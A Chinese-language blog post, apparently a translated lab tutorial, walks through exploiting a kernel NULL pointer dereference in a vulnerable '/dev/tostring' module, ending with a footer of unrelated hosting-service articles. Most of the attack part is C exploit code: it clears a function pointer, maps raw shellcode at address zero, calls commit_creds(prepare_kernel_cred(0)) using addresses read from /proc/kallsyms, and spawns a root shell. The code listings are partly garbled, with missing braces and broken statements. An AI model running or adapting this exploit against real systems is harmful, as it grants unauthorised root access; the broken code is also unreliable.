内核exploit——如何应对空指针异常现象

什么是空指针异常?

如果一个未初始化或零编号(zero-ed out)的指针被取消引用时,将会导致程序计数器/指令指针(PC/IP)指向0,从而导致内核崩溃!

当遇到上述情况,首先需检查是否启用了任何保护程序,如果启用了就将其全部关闭,包括管理员保护模式、数据执行保护模式(DEP / NX)以及mmap_min_addr保护机制。

ring0层与ring3层有所区别(Intel的CPU将特权级别分为4个级别:RING0、RING1、RING2、RING3。Windows只使用其中的两个级别RING0和RING3,RING0只给操作系统用,RING3谁都能用)。由于计算机使用二进制,因此在ring3层操作过程中,我们仅需要关注如何追加一个shell命令,我们需要这个时间来修改权限。庆幸的是,目前仍存在一些内核结构,持有当前的进程权限。我们将尝试利用权限来进行root,并在处理完这些后再追加一个shell命令。

如何提升权限?

在进行提升权限操作前,我们需要知道我们需要做哪些事情:

每个进程信息都存储为一个进程描述符(task_struct)

下列是sched.h文件:

  1. struct task_struct { 
  2. /* ... */ 
  3. /* Process credentials: */ 
  4. /* Tracer's credentials at attach: */ 
  5. const struct cred __rcu *ptracer_cred; 
  6. /* Objective and real subjective task credentials (COW): */ 
  7. const struct cred __rcu *real_cred; 
  8. /* Effective (overridable) subjective task credentials (COW): */ 
  9. const struct cred __rcu *cred; 
  10. /* ... */ 
  11. 下列是cred.h文件: 
  12. struct cred { 
  13. /* ... */ 
  14. kuid_tuid;/* real UID of the task */ 
  15. kgid_tgid;/* real GID of the task */ 
  16. kuid_tsuid;/* saved UID of the task */ 
  17. kgid_tsgid;/* saved GID of the task */ 
  18. kuid_teuid;/* effective UID of the task */ 
  19. kgid_tegid;/* effective GID of the task */ 
  20. /* ... */ 

下面我们将主要关注有效的用户身份证明(UID)任务。如果我们成功将其值设置为0,则当前任务将具有root权限!

我们应该如何找到他们?

可以利用一些内核符号。

一些功能可用于提升当前的进程权限,它们的地址是静态的,可以根据我们处理的内核重新生成:

  1. /proc/kallsyms, /proc/ksyms, /dev/ksyms.. 

上述这些函数在cred.c.中。

  1. extern int commit_creds(struct cred *); 
  2. /* ... */ 
  3. extern struct cred *prepare_kernel_cred(struct task_struct *); 

我们可以看到,prepare_kernel_cred()函数的返回值类型为struct cred *,之后再以此作为参数传递给commit_creds(),这样就可以将我们新获得的权限分配给当前的进程!

结论:可以通过“commit_creds(prepare_kernel_cred(0))”命令来提升权限;

了解漏洞并学会触发这些漏洞

在进行内核开发前,我们需要知道如何触发漏洞,还需要知道在什么情况下指针会被取消。

[[207671]]

解决内核威胁问题

我们首先需要检查保护程序

如上图所示,所有的保护措施都出于关闭状态。

在“tostring_write()”函数里,我们可以看到这些命令应该始终以10’*’开头。

当这个内核模块被加载时,它会在每次运行时启动结构,每次运行都会启动一次。

如上图所示,我们不难发现这会启动“tostring_create()”。当在“tostring_s struct!”下设置函数指针时,该功能就会响应

这一点非常重要,请谨记于心!因此,这两个指针在每次运行时都被设置一次(或者需要的话)。

现在我们轻易地就能辨认出漏洞的函数,如下所示:

  1. static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off) 
  2. char *bufk; 
  3. int i,j; 
  4. printk(KERN_INFO "Tostring: write()\n"); 
  5. bufk = kmalloc(len + 1, GFP_DMA); 
  6. if (bufk){ 
  7. if (copy_from_user(bufk, buf, len)) 
  8.     return -EFAULT; 
  9. bufk[len] = '\0'; 
  10. i=0
  11. while(i <len) { 
  12.   for (j=0;(j<10) && (bufk[j]=='*');j++); 
  13.   if (j == 10) { 
  14.     for (j=i+10;(bufk[j]!='\0') && (bufk[j] != '\n');j++); 
  15.     bufk[j]='\0'; 
  16.     printk("Tostring: Cmd %s\n",bufk+i+10); 
  17.     switch(bufk[i+10]) { 
  18.     case 'H': 
  19.       tostring->tostring_readtostring_read_hexa
  20.       break; 
  21.     case 'D': 
  22.       tostring->tostring_readtostring_read_dec
  23.       break; 
  24.     case 'S': 
  25.       printk("Tostring: Delete stack\n"); 
  26.       kfree(tostring->tostring_stack); 
  27.       tostring->tostring_stack=NULL
  28.       tostring->tostring_read=NULL
  29.       tostring->pointer=0
  30.       tostring->pointer_max=0
  31.       break; 
  32.     case 'N': 
  33.       printk("Tostring: Stack create with size %ld\n",local_strtoul(bufk+i+11,NULL,10)); 
  34.       if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10)); 
  35.       if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stack\n"); 
  36.       break; 
  37.     } 
  38.     i=j+1; 
  39.   } 
  40.   else { 
  41.     printk("tostring: insertion %lld\n",*((long long int *) (bufk+i))); 
  42.     if (tostring->pointer >= tostring->pointer_max) 
  43.       printk(KERN_INFO "Tostring: Stack full\n"); 
  44.     else 
  45.       tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i)); 
  46.     ii = i+sizeof(long long int); 
  47.   } 
  48. kfree(bufk); 
  49. return len; 

正如我们所见,在“ten ‘*’”后会出现一个“S”。这就会使函数指针tostring_read无效,而这一点对我们有力。

但是,在将其设置为null之后,我们需要读取它,以使其被取消引用。因此,我们需要读取该文件,以触发启用“tostring_read()!”命令。

我们开始编写开发程序。我们之前使用Python语言进行编写,现在我们换成C语言。

我们先写一个较为简单的以触发命令和清除函数指针。

  1. #include <stdio.h> 
  2. #include <string.h> 
  3. #include <stdlib.h> 
  4. #include <sys/mman.h> 
  5. #include <fcntl.h> 
  6. /**/ 
  7. #define vulnerable_device "/dev/tostring" 
  8. /**/ 
  9. void main(void){ 
  10. int fd; 
  11. char payload[15]; 
  12. /**/ 
  13. memset(payload, '*', 10); 
  14. /**/ 
  15. payload[10] = 'S'; 
  16. payload[11] = 0; 
  17. /**/ 
  18. fd = open(vulnerable_device, O_RDWR); 
  19. if(fd < 0){ 
  20. printf("Couldn't open device!"); 
  21. /**/ 
  22. write(fd, payload, 12); 

目前一切都比较顺利,但我们仍需通过读取文件使其取消引用。

  1. read(fd, 0, 1) 

我们做到了,我们将其IP指针设置为0

幸运的是,mmap_min_addr保护处于关闭状态。 我们可以在NULL中分配一个小区域,并放置我们的shellcode来提升权限。

现在就可以从“/proc/kallsyms!”中获得“prepare_kernel_cred”和“commit_creds”地址。

我将使用rasm2做一个shellcode:

以下是shellcode:

在我们的开发程序中取消指针前,我们就可以开始添加shellcode:

  1. #include <stdio.h> 
  2. #include <string.h> 
  3. #include <stdlib.h> 
  4. #include <sys/mman.h> 
  5. #include <fcntl.h> 
  6. /**/ 
  7. #define vulnerable_device "/dev/tostring" 
  8. /**/ 
  9. void pop_shell(){ 
  10. system("sh"); 
  11. /**/ 
  12. void main(void){ 
  13. int fd; 
  14. char payload[15]; 
  15. char shellcode[15] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3"; 
  16. /**/ 
  17. memset(payload, '*', 10); 
  18. /**/ 
  19. payload[10] = 'S'; 
  20. payload[11] = 0; 
  21. /**/ 
  22. fd = open(vulnerable_device, O_RDWR); 
  23. if(fd < 0){ 
  24. printf("Couldn't open device!"); 
  25. write(fd, payload, 12); 
  26. /**/ 
  27. mmap(NULL, sizeof(shellcode), PROT_EXEC |PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0); 
  28. memcpy(NULL, shellcode, sizeof(shellcode)); 
  29. /**/ 
  30. read(fd, 0, 1); 
  31. /**/ 
  32. pop_shell(); 

在完成后,开始运行

以下是root shell

希望文章能对大家有所启发和帮助!

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/151735.html<

(0)
管理的头像管理
上一篇2025-03-13 16:38
下一篇 2025-03-13 16:39

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注